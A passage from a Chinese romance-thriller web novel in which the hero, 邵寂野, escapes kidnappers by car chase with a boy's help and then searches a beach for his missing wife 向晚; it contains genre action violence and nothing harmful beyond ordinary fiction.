当然,他也快了,多看一眼是一眼。
“你们见过我老婆吗?”邵寂野吊儿郎当的。
黑衣人敷衍着说:“刚刚在岸上,没看清楚,不过之前在新闻上见过。”
“漂亮吗?”
黑衣人一愣,不知道他是何用意。
邵寂野急了,用力踢了一下他的椅子靠背:“问你话呢?我老婆漂不漂亮?”
黑衣人吓了一跳,连忙点头说:“漂亮,漂亮的。”
邵寂野满意了,表情也舒展了许多。
“我想我老婆了。”他说。
黑衣人被他无厘头的话弄的一头雾水,但还是应和了几句:“说不定邵太太被好心人救起来了呢,以后还能见到。”
“还能见到吗?”
“应该……能吧。”
邵寂野毫不留情的吐槽:“能个鬼!程康带出来的人真是,虚伪的很。”
几个人又不敢说话了。
邵寂野又踹了一脚自己旁边这个黑衣人:“我手机被你们收走了,你用你手机搜一下我老婆的照片,我想看看她。”
黑衣人有些犹豫。
他看向后视镜,请示前排的两个人。
邵寂野无语道:“我都快**,让我看一眼我老婆都不行?行,你们等着,等我跟我老婆在黄泉路上遇见了,我们两个一起上来缠死你。”
似乎是配合着他的话,夜风吹进来,冷飕飕的。
外面的行道树全都是又白又长的流苏树,被风吹的飘起来,像是过白事的挽联,又像是撒在空中的白色纸钱。
几个人都不由自主地抖了一下。
开车的黑衣人最先有些受不了了,不耐烦道:“给他看给他看!”
反正也不是用他的手机,不怕他有什么动作。
一个恋爱脑而已,也没什么好怕的。
后排的黑衣人早就有这个想法了,闻言赶紧掏出了手机,在网上搜索了一下,然后点开了大图给他看。
邵寂野眯着眼睛,定睛看了看,啧啧有声地摇头:“这图谁P的,还原不了我老婆的美貌,换一张没P过的。”
于是黑衣人
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又给他找了一张新的。
这次,邵寂野好像还挺满意。
他接过手机,两根手指把图片放大,再放大,欣赏不已:“这张还不错,你看,我老婆的眼睛里还有我的倒影呢……”
图片上人的瞳孔太小,即便是被放大了,还是看不太清,更何况是夜间。
黑衣人下意识地凑了过去,邵寂野反应迅速,一拳砸中了他的眼睛,黑衣人被攻击了要害,瞬间看不见东西了,整个人都陷入惊恐。
前排的两个人察觉到的时候已经晚了,邵寂野用手机戳向了副驾驶那个黑衣人的眼睛,用同样的方法让他暂时失去了战斗力。
司机负责开车,等他发现的时候,已经晚了。
邵寂野的手指已经停留在他的眼珠子前方,稍微一用力,就真的能把他的眼珠子抠出来。
黑衣人下意识地猛踩了一脚刹车。
车子一个急刹,停在了路边。
邵寂野一脚踹开车门上的玻璃,一跃而下,趁着前后几辆车没来得及做出任何反应,已经用手机砸碎了驾驶座的玻璃,手伸进去解开了车门锁,把驾驶位上的人拉了下来。
他快速上车,一个漂亮的甩尾,直接来了个原地掉头。
原本还在车上的两个黑衣人顷刻间被甩了出去,掉在地上滚了好远。
等其他人反应过来的时候,邵寂野早已经开着车消失在了所有人的视野里。
程康坐的车子在前面。
等司机注意到后面发生的一系列变故时,早已经为时已晚。
程康气急败坏地推开车门下了车,大骂道:“让你们几个看好他,你们长眼睛都干什么用的?!”
两个眼睛受伤的黑衣人已经被人扶起,拉到了程康面前。
两个人的眼睛还没完全恢复,痛的不住的流泪。
“程总,真不是我们疏忽。这个邵寂野太狡猾了!他先是利用流苏花和鬼来恐吓我们,然后又说想看他老婆的照片,我们都以为他已经认命了,没想到他突然袭击了我们……”
“废物!废物!”
多年准备毁于一旦,程康气的仪态全无:“一群废物!我养你们有什么用!”
“对不起程总,对不起程总……我们这就去追!”
第八十二章 向晚不见了
邵寂野一路风驰电掣。
但他毕竟对F市的路况不熟,很快就被几辆车抄小路追上了。
三辆车分工,一辆从旁边逼他,一辆加速超过,然后猛地急刹,最后一辆堵在他后头,三辆车加一个绿化带,把他死死围困在里面。
邵寂野咬了咬牙,一脚油门踩死,强行把方向盘打满,又把旁边逼他的车硬生生挤了出去。
金属车门在碰撞和摩擦出闪出一连串火花。
他趁机从缝隙里溜了出去,全力往渔村的方向开。
向晚现在还不知道是死是活,倘若她还活着,肯定会尽力往岸边游。
青贝说的另一处上岸点他也不知道具体在哪。
所以无论如何他都得先回到渔村,如果找不到人,再去询问附近的渔民另一处上岸点的确切地址。
可是后面这三辆车像是鬼混一样缠着他,这辆车子的性能也一般,根本甩不掉后面的几条尾巴。
不能再这么耽误下去了。
向晚还在等着他!
想起向晚被他放在皮筏子上时候的神情,邵寂野只觉得心痛的快要昏死过去。
他就应该让楚卫带她一起走的。
至少回到了H市,程康的手伸不了那么长。
奶奶虽然也不是真心喜欢她这个孙媳妇,但自己没有松口要跟谭家联姻之前,奶奶也会护着她的。
他只是贪恋这偷来的几天光阴,可以跟她好好的待几天。
他知道向晚正在筹备着要离开的事,他想,经过这一次的相处,或许她心里也会有那么一丝丝的舍不得?
之前三年他都很小心。
偏偏就这一次,就让她出了事。
他的手紧紧握着方向盘,牙关也咬的死紧,如果向晚真的出事了,他宁愿她离开自己,去跟秦以枫远走高飞……
砰!
身后的车突然传来巨大的撞击声。
邵寂野从后视镜看了一眼,只见后面的两辆车不知道为什么突然撞在了一起。
撞击后的后坐力让两辆车又分别弹开了好远,一辆车侧翻在地,另一辆车的车头已经完全扁了进去。
第三辆车明显也被这次的撞击弄的有些慌了神,一下子减了速。
就是这一瞬间的减速,让邵寂野彻底甩开了他们,拉开了一大截距离。
第三辆车上的司机明显有些犹豫,不知道是该继续追击,还是停下来去救另外两辆车上的同伴。
“叔叔——”
邵寂野听到了熟悉的童声。
往后一看,才发现居然是青贝!
他就站在刚才两辆车相撞的地方朝他挥手求救,而第三辆车已经停了下来,从车上下来了两个人,正准备去抓青贝。
邵寂野猛地一个转弯,方向盘打到死,车子急速掉头,朝着两个黑衣人就冲了过去。
黑衣人被他的速度吓得立刻掉头就跑,不敢再去靠近青贝。
邵寂野猛地一个刹车,对青贝说:“快上来!”
青贝身量小,直接从后排车窗跳了进来,邵寂野立刻掉头,又是一次全力加速,终于把所有黑衣人全都甩掉了。
青贝抚着心口,眼中还闪着兴奋的光:“哇!叔叔你好厉害啊!好像在拍**片!”
邵寂野心里着急:“你怎么会在这里?我不是让你去……”
“叔叔你别急,姐姐没事!”
邵寂野握着方向盘的手一松:“她……”
“你们两个真不愧是两口子,都好厉害呀!姐姐一个人游了一整夜上了岸,你也是,开车开的像成龙!”
邵寂野顾不得听少年人的激动,连声问道:“她现在在哪里?有没有受伤?”
“她好着呢,就是有点累。我本来要带她先回渔村等你的,但是姐姐说你有危险,让我来救你。”
邵寂野听说向晚没事,整个人骤然间都松了起来。
他浑身像是卸掉了力气,大口大口的喘息。
青贝还沉浸在这几天惊心动魄的经历中,眉飞色舞地说着:“叔叔,你能教我开车吗?我也想像你一样厉害!下次如果坏人再来欺负我们,我也能开车救走我姐姐了!”
“可以,不过以后再说,你先告诉我,向晚……就是你姐姐在哪里?”
“哦哦,就前面这个路口,左转!我知道一条小路,很快就到了。”
有了青贝指路,事半功倍。
从一条小巷子绕了好几个路口,车子终于来到了一片海边的浅滩上。
此时天色已经大亮了,整个浅滩并不是太大,可以说一览无遗。
可是除了一些零碎
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的垃圾和礁石之外,并没有向晚的踪迹。
邵寂野停了车立刻跳了下去,四处查看,“青贝,人呢?!”
青贝也下了车,但是眼前的景象也让他觉得一头雾水。
“我离开的时候姐姐明明就在这里啊,难道是她自己走了?”
邵寂野心里憋着火。
向晚的裙子都被带回去了,她现在身上几乎没什么了。
她光着身子,能走去哪里?
青贝突然脸色一白:“该不会是坏人找到这里,把姐姐带走了吧?”
邵寂野顿时就有些疯了。
刚刚平复下去的心情顿时又被激怒:“她是怎么跟你说的?你好好想想!”
青贝被吼的抖了一下,有些害怕他。
但还是在努力回想着:“我跟姐姐在这里汇合之后,姐姐问了我去金色大厦的必经之路,她说坏人肯定会先把你带回大厦里,让我在必经之路上等着,准备好石头,看到坏人的车就往路上扔。车子为了避让石头,势必会减速,这样可以给你创造机会逃离。”
邵寂野急急追问:“然后呢?”
“然后我就去了呀,姐姐真聪明啊,我刚抄小路过去,就看到有三辆车在追你,我按照姐姐说的往他们车前面扔石头,结果他们就撞在一起了!”
“我问你,她有没有说她会去哪里?还是就在这里等你?”
青贝抓了抓头发:“姐姐说让我抓紧时间,我赶紧就去了,她没说其他的了……”
邵寂野听得心里冒火。
这个向晚,早知道她是个一肚子算计的,确实挺能算计,算准了金色大厦就是程康的大本营,肯定会把他带去那里,让青贝赶紧过去,想办法给他制造逃跑的机会。
可她自己呢?
她一个女孩子孤身一人待在这个偏僻的浅滩上,但凡来一个不怀好意的人,一边是海一边是山,她往哪里逃?
青贝捋清楚了来龙去脉,也有些焦急:“叔叔,我们现在怎么办呀?要不然我再去报警?”
邵寂野没说话。
他仔细观察了一下这片浅滩的地形。
一面山一面海,海她肯定是不会下去,那就只有山了。
邵寂野转头,看向面前长满灌木的小山,长腿一迈,走了过去。